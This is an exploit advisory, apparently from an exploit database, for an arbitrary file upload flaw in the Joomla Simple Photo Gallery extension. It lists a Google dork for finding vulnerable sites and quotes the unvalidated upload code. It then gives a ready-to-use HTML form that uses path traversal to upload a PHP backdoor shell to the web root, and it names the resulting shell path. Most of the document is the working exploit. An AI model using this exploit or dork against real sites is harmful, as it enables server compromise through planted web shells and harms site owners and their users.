######################################################################
# Exploit Title: Joomla Simple Photo Gallery - Arbitrary File Upload
# Google Dork: inurl:com_simplephotogallery
# Date: 10.03.2015
# Exploit Author: CrashBandicot @DosPerl
# OSVDB-ID: 119624
# My Github: github.com/CCrashBandicot
# Vendor Homepage: https://www.apptha.com/
# Software Link: https://www.apptha.com/category/extension/joomla/simple-photo-gallery
# Version: 1
# Tested on: Windows
######################################################################
 
# Vulnerable File : uploadFile.php
# Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php
 
20.   $fieldName = 'uploadfile';
87.      $fileTemp = $_FILES[$fieldName]['tmp_name'];
94.         $uploadPath = urldecode($_REQUEST["jpath"]).$fileName;
96.      if(! move_uploaded_file($fileTemp, $uploadPath))
 
 
# Exploit :
 
<form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
    <input type="file" name="uploadfile"><br>
    <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>
 
# Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php)
 
# Shell Path : http://localhost/backdoor__[RandomString].php